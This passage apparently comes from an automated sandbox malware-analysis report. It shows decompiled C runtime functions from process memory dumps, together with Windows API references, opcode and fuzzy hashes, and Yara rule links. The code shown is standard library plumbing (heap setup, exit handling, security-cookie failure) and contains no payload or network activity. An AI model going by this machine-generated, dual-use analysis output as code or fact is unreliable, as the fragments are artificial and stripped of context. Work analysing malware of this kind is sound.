				int _t32;
				char* _t35;

				_t21 = __edx;
				_t35 = _a4;
				_t17 = __ecx;
				if(_t35 != 0) {
					_t25 = lstrlenA(_t35) + 1;
					E004017E0(_t17, _t21, _t35, _t17, _t25,  &(_t17[1]), 0x80);
					_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t25); // executed
					asm("sbb esi, esi");
					_t30 =  ~_t12 + 1;
					if(_t30 != 0) {
						_t12 = GetLastError();
						if(_t12 == 0x7a) {
							_t32 = MultiByteToWideChar(_a8, 0, _t35, _t25, 0, 0);
							E004017E0(_t17, _a8, _t35, _t17, _t32,  &(_t17[1]), 0x80);
							_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t32);
							asm("sbb esi, esi");
							_t30 =  ~_t12 + 1;
						}
						if(_t30 != 0) {
							_t12 = E00401030();
						}
					}
					return _t12;
				} else {
					 *__ecx = _t35;
					return __eax;
				}
			}

0x004018f0
0x004018f2
0x004018f6
0x004018fa
0x00401917
0x0040191a
0x0040192f
0x00401939
0x0040193b
0x0040193e
0x00401940
0x00401949
0x0040195e
0x0040196b
0x00401980
0x0040198a
0x0040198c
0x0040198c
0x0040198f
0x00401991
0x00401991
0x0040198f
0x0040199a
0x004018fc
0x004018fc
0x00401900
0x00401900

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF66, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E0040AF66(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v4;
				signed int _v16;
				signed int _v40;
				void* _t14;
				signed int _t15;
				intOrPtr* _t21;
				signed int _t24;
				void* _t28;
				void* _t39;
				void* _t40;
				signed int _t42;
				void* _t45;
				void* _t47;
				void* _t51;

				_t40 = __edi;
				_t28 = __ebx;
				_t45 = _t51;
				while(1) {
					_t14 = E0040B84D(_t28, _t39, _t40, _a4); // executed
					if(_t14 != 0) {
						break;
					}
					_t15 = E0040D2E3(_a4);
					__eflags = _t15;
					if(_t15 == 0) {
						__eflags =  *0x423490 & 0x00000001;
						if(( *0x423490 & 0x00000001) == 0) {
							 *0x423490 =  *0x423490 | 0x00000001;
							__eflags =  *0x423490;
							E0040AEFC(0x423484);
							E0040D2BD( *0x423490, 0x41a704);
						}
						E0040AF49( &_v16, 0x423484);
						E0040CD39( &_v16, 0x420fa4);
						asm("int3");
						_t47 = _t45;
						_push(_t47);
						_push(0xc);
						_push(0x420ff8);
						_t19 = E0040E1D8(_t28, _t40, 0x423484);
						_t42 = _v4;
						__eflags = _t42;
						if(_t42 != 0) {
							__eflags =  *0x4250b0 - 3;
							if( *0x4250b0 != 3) {
								_push(_t42);
								goto L16;
							} else {
								E0040D6E0(_t28, 4);
								_v16 = _v16 & 0x00000000;
								_t24 = E0040D713(_t42);
								_v40 = _t24;
								__eflags = _t24;
								if(_t24 != 0) {
									_push(_t42);
									_push(_t24);
									E0040D743();
								}
								_v16 = 0xfffffffe;
								_t19 = E0040B70B();
								__eflags = _v40;
								if(_v40 == 0) {
									_push(_v4);
									L16:
									__eflags = HeapFree( *0x4234b4, 0, ??);
									if(__eflags == 0) {
										_t21 = E0040BFC1(__eflags);
										 *_t21 = E0040BF7F(GetLastError());
									}
								}
							}
						}
						return E0040E21D(_t19);
					} else {
						continue;
					}
					L19:
				}
				return _t14;
				goto L19;
			}

0x0040af66
0x0040af66
0x0040af69
0x0040af7d
0x0040af80
0x0040af88
0x00000000
0x00000000
0x0040af73
0x0040af79
0x0040af7b
0x0040af8c
0x0040af98
0x0040af9a
0x0040af9a
0x0040afa3
0x0040afad
0x0040afb2
0x0040afb7
0x0040afc5
0x0040afca
0x0040afd0
0x0040aec2
0x0040b6b5
0x0040b6b7
0x0040b6bc
0x0040b6c1
0x0040b6c4
0x0040b6c6
0x0040b6c8
0x0040b6cf
0x0040b714
0x00000000
0x0040b6d1
0x0040b6d3
0x0040b6d9
0x0040b6de
0x0040b6e4
0x0040b6e7
0x0040b6e9
0x0040b6eb
0x0040b6ec
0x0040b6ed
0x0040b6f3
0x0040b6f4
0x0040b6fb
0x0040b700
0x0040b704
0x0040b706
0x0040b715
0x0040b723
0x0040b725
0x0040b727
0x0040b73a
0x0040b73c
0x0040b725
0x0040b704
0x0040b6cf
0x0040b742
0x00000000
0x00000000
0x00000000
0x00000000
0x0040af7b
0x0040af8b
0x00000000

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Uniqueness

Uniqueness Score: -1.00%

Function 04000DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,04000223,?,?), ref: 04000E02
SetErrorMode.KERNEL32(00000000,?,?,04000223,?,?), ref: 04000E07

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 4888c93f210742d40ba4c154271656c596847ee9e5e8fa8e1c1e31c6180b44a0
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 1DD0123114512C77D7402A94DC09BCD7B5C9F05B66F008011FB0DE91C1C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7EE, Relevance: 3.0, APIs: 2, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E7EE(int _a4) {

				E0040E7C3(_a4); // executed
				ExitProcess(_a4);
			}

0x0040e7f6
0x0040e7ff

APIs

___crtCorExitProcess.LIBCMT ref: 0040E7F6

Part of subcall function 0040E7C3: GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
Part of subcall function 0040E7C3: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
Part of subcall function 0040E7C3: CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA

ExitProcess.KERNEL32 ref: 0040E7FF

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction ID: d9ec683f250bcd397ae0bae66fbc2b9097e114182cfe22e5ca4178904d999afd
Opcode Fuzzy Hash: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction Fuzzy Hash: ADB09B31000108BFDB112F13DC09C493F59DB40750711C435F41805071DF719D5195D5

Uniqueness

Uniqueness Score: -1.00%

Function 04470CA9, Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 04470D0F

Memory Dump Source

Source File: 00000014.00000002.460544709.0000000004470000.00000040.00000001.sdmp, Offset: 04470000, based on PE: false

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: badb2937fba6392a2c4c561f0d8b0d871ef4143f2729a7cf8e97deac6064748e
Instruction ID: b54dda35cd9450f77a799048ef681e734e0d8470d16974b5d2d1ecb4f76dd8ba
Opcode Fuzzy Hash: badb2937fba6392a2c4c561f0d8b0d871ef4143f2729a7cf8e97deac6064748e
Instruction Fuzzy Hash: 6E112575D013198FDB10CFA9C5447EFBBF5AF48318F24881AC559B7240D778A945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04470CB0, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 04470D0F

Memory Dump Source

Source File: 00000014.00000002.460544709.0000000004470000.00000040.00000001.sdmp, Offset: 04470000, based on PE: false

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 864225094464eb4decee30f0d08d35cfd40bedda2a8eb17ca8b3bc229f064ff0
Instruction ID: 23288439e3c9ffb0bd2568502a2c3805eedbe7139eba68bdad435cddd8c33940
Opcode Fuzzy Hash: 864225094464eb4decee30f0d08d35cfd40bedda2a8eb17ca8b3bc229f064ff0
Instruction Fuzzy Hash: 0B113671D003098FDB10DFA9C4447DFBBF5AB88318F24881AC555B7240D779A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040D534, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D534(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4234b4 = _t6;
				if(_t6 != 0) {
					 *0x4250b0 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0040d549
0x0040d54f
0x0040d556
0x0040d55d
0x0040d563
0x0040d559
0x0040d559
0x0040d559

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA0A, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E0040EA0A(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t8;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E0040E8DE(_t3, _t4, _t5, _t8); // executed
				return _t2;
			}

0x0040ea0f
0x0040ea11
0x0040ea13
0x0040ea16
0x0040ea1f

APIs

_doexit.LIBCMT ref: 0040EA16

Part of subcall function 0040E8DE: __lock.LIBCMT ref: 0040E8EC
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E923
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E938
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E962
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E978
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E985
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9B4
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9C4

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: a0257ab8b89ab24c4dda27abc63ac43d0f25756bab2839dd78a8b277d7454467
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: D2B0923298420833EA202643AC03F063B1987C0B64E244031BA0C2E1E1A9A2A9618189

Uniqueness

Uniqueness Score: -1.00%

Function 04000920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 04000929

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 6c9453fb3b9a39c8418ec090f84bbdd0bb49242e95db36359550f5f530275bea
Instruction ID: e20a04ed2b1ab9e70da3f876d987d6e22a885c27446574344d4ceb22f625a25c
Opcode Fuzzy Hash: 6c9453fb3b9a39c8418ec090f84bbdd0bb49242e95db36359550f5f530275bea
Instruction Fuzzy Hash: 409002602542D016D82025DC0C01B1500011B81635F3107507130B92D6D84055000155

Uniqueness

Uniqueness Score: -1.00%

Function 0405D830, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.459310982.000000000405D000.00000040.00000001.sdmp, Offset: 0405D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07edb4762744a5e7500f3743e467407739d5ac9836e073dc984c826db0b9b37b
Instruction ID: b85c3cd853d0eddc777c9cf3fc6d59c53f1212ae26f535c0adb6c5b77be6f028
Opcode Fuzzy Hash: 07edb4762744a5e7500f3743e467407739d5ac9836e073dc984c826db0b9b37b
Instruction Fuzzy Hash: F621E571600240EFDB058F50D8C4B6BBBA5FF88314F24C56AED455A266C336E816DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0405D500, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.459310982.000000000405D000.00000040.00000001.sdmp, Offset: 0405D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f205f64ae17ff5d9425becbb0fd751d110ef730aaa5516cfd27bcc7997fd605
Instruction ID: ec2d2f5b916e1a8342ce30bfb2b293d0a5f720f9d17e12de72cf88ff6e6e0644
Opcode Fuzzy Hash: 3f205f64ae17ff5d9425becbb0fd751d110ef730aaa5516cfd27bcc7997fd605
Instruction Fuzzy Hash: D2210671604200DFDB01EF50D8C0B6BBFA5FF88318F24C56AEC051B226D336E846CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0406D4A4, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.459396834.000000000406D000.00000040.00000001.sdmp, Offset: 0406D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b5e62c883fea847ba30461e8eed00f3405911245d826502491d09ef0b9f4a8b
Instruction ID: e425f31f74386042e38c9f86ee33a77edeb9a12d255886bf2fc48aadb027206c
Opcode Fuzzy Hash: 6b5e62c883fea847ba30461e8eed00f3405911245d826502491d09ef0b9f4a8b
Instruction Fuzzy Hash: AC21F871704240DFDB00DF14D5C4B29BBA6FF84318F24C969D80B5B652D736E845CA62

Uniqueness

Uniqueness Score: -1.00%

Function 0406D2F4, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.459396834.000000000406D000.00000040.00000001.sdmp, Offset: 0406D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41bdb0d5059ac96d9097c588b8d2ef5ce45568847dc674784275bf9b09e062fe
Instruction ID: 8ccfe9bb65b5db3decae87b152898b55c11d237d128ae395f6183d2f4517b172
Opcode Fuzzy Hash: 41bdb0d5059ac96d9097c588b8d2ef5ce45568847dc674784275bf9b09e062fe
Instruction Fuzzy Hash: B121D7B5704340DFDB00DF58D4C4B6ABBA5FF84314F24C969E84B6B246D379E846CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0405D82B, Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.459310982.000000000405D000.00000040.00000001.sdmp, Offset: 0405D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd2e9ba4b8e5cfbf9c6580c7d053063177baecb6093511af942ad11718922b12
Instruction ID: 242117ca775e5580a08ef62b9397e35f8b47c6e9237ecbeb202de4e764080797
Opcode Fuzzy Hash: cd2e9ba4b8e5cfbf9c6580c7d053063177baecb6093511af942ad11718922b12
Instruction Fuzzy Hash: 9D216D76504280DFCB06CF50D984B16BFA2FF88314F28C6AADD485A666C33AD456CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0405D4FB, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.459310982.000000000405D000.00000040.00000001.sdmp, Offset: 0405D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c2d5164e5b22657e8ee7288279c78ffb49c7e9b5935bd6fbe6fa80b272e09f7
Instruction ID: 61060729cd21b20426f32f17be8f6607d4d77149fb6e016733eb20aaf6b40f53
Opcode Fuzzy Hash: 5c2d5164e5b22657e8ee7288279c78ffb49c7e9b5935bd6fbe6fa80b272e09f7
Instruction Fuzzy Hash: 7911AF76504280CFDB11DF10D5C4B16BFA2FF84324F24C6AADC055B666C336E55ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0406D49F, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.459396834.000000000406D000.00000040.00000001.sdmp, Offset: 0406D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c083edaa9b2e27e0994149a22b54ad307768745e3212f40613ade489548c40b8
Instruction ID: 35690309daf2d6359978a0b058b7d4f804d7068e6bd007d123b7fc94205fa302
Opcode Fuzzy Hash: c083edaa9b2e27e0994149a22b54ad307768745e3212f40613ade489548c40b8
Instruction Fuzzy Hash: A211D075A04280CFCB01DF14D5C4B15BFA2FF84318F24C6A9D84A4BA56C33AE44ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 0406D2EF, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.459396834.000000000406D000.00000040.00000001.sdmp, Offset: 0406D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8974ea2db22a81aa2a0477cfd0d1c99f362917d012d2b6b9bf228911bb2f3b8c
Instruction ID: e4565f7e35a4be49a796bdd5698acf547f270876329b88a12deb83e79bab3e2a
Opcode Fuzzy Hash: 8974ea2db22a81aa2a0477cfd0d1c99f362917d012d2b6b9bf228911bb2f3b8c
Instruction Fuzzy Hash: 0C118275604280DFDB51CF14D5C4B19FFA1FF84324F28C6AAD84A5B656C33AE44ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0405D01D, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.459310982.000000000405D000.00000040.00000001.sdmp, Offset: 0405D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eee5159c3b895e9e998931b4106b2ad974f23d4263a300cbd6d30bf3a2259587
Instruction ID: 19559e5a28bad31937aa33575cfd10202d18b749626ef61bd778d3b8680438d8
Opcode Fuzzy Hash: eee5159c3b895e9e998931b4106b2ad974f23d4263a300cbd6d30bf3a2259587
Instruction Fuzzy Hash: 6A01F271504350AAE7104E65ECC4BA7BBD8EF41228F08D81BED442B292D379B846CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 0405D006, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.459310982.000000000405D000.00000040.00000001.sdmp, Offset: 0405D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b267b23260cfe381fdd550ae90e96d56554441289e73d446ba86b6e85e8ca276
Instruction ID: 6f0c160f6f080d2030fb99769e0315dfa06decc5e51d2580dafd91fa5559d70c
Opcode Fuzzy Hash: b267b23260cfe381fdd550ae90e96d56554441289e73d446ba86b6e85e8ca276
Instruction Fuzzy Hash: A801526140D3C05EE7164B259C94B52BFA4DF43224F0DC0DBD9849F2A3C2699849C772

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0400D059, Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 04013944
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04013959
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 04013964
GetCurrentProcess.KERNEL32(C0000409), ref: 04013980
TerminateProcess.KERNEL32(00000000), ref: 04013987

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: b36d2ffcdb76aec0a20422292b78c5ecd15a946d33cb187e2eabae2a90f4a6d6
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: 4921F474A01204EFD720DF65E9496457FB0FB08316F804079E90997672E7B8A682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040CE09, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040CE09(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x422234; // 0x3fe0f6a3
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x423b98 = _t6;
				 *0x423b94 = _t22;
				 *0x423b90 = _t25;
				 *0x423b8c = _t21;
				 *0x423b88 = _t27;
				 *0x423b84 = _t26;
				 *0x423bb0 = ss;
				 *0x423ba4 = cs;
				 *0x423b80 = ds;
				 *0x423b7c = es;
				 *0x423b78 = fs;
				 *0x423b74 = gs;
				asm("pushfd");
				_pop( *0x423ba8);
				 *0x423b9c =  *_t31;
				 *0x423ba0 = _v0;
				 *0x423bac =  &_a4;
				 *0x423ae8 = 0x10001;
				_t11 =  *0x423ba0; // 0x0
				 *0x423a9c = _t11;
				 *0x423a90 = 0xc0000409;
				 *0x423a94 = 1;
				_t12 =  *0x422234; // 0x3fe0f6a3
				_v812 = _t12;
				_t13 =  *0x422238; // 0xc01f095c
				_v808 = _t13;
				 *0x423ae0 = IsDebuggerPresent();
				_push(1);
				E004138FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41fb80);
				if( *0x423ae0 == 0) {
					_push(1);
					E004138FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce0f
0x0040ce11
0x0040ce11
0x00413644
0x00413649
0x0041364f
0x00413655
0x0041365b
0x00413661
0x00413667
0x0041366e
0x00413675
0x0041367c
0x00413683
0x0041368a
0x00413691
0x00413692
0x0041369b
0x004136a3
0x004136ab
0x004136b6
0x004136c0
0x004136c5
0x004136ca
0x004136d4
0x004136de
0x004136e3
0x004136e9
0x004136ee
0x004136fa
0x004136ff
0x00413701
0x00413709
0x00413714
0x00413721
0x00413723
0x00413725
0x0041372a
0x0041373e

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADB0, Relevance: 2.5, APIs: 2, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ADB0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr* _t11;

				_t11 = __ecx;
				_t5 =  *(__ecx + 8);
				 *__ecx = 0x41eff0;
				if(_t5 != 0) {
					_t5 =  *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))(_t5);
				}
				if( *(_t11 + 0xc) != 0) {
					_t5 = GetProcessHeap();
					if(_t5 != 0) {
						return HeapFree(_t5, 0,  *(_t11 + 0xc));
					}
				}
				return _t5;
			}

0x0040adb3
0x0040adb5
0x0040adb8
0x0040adc0
0x0040adc8
0x0040adc8
0x0040adce
0x0040add0
0x0040add8
0x00000000
0x0040ade1
0x0040add8
0x0040ade8

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Uniqueness

Uniqueness Score: -1.00%

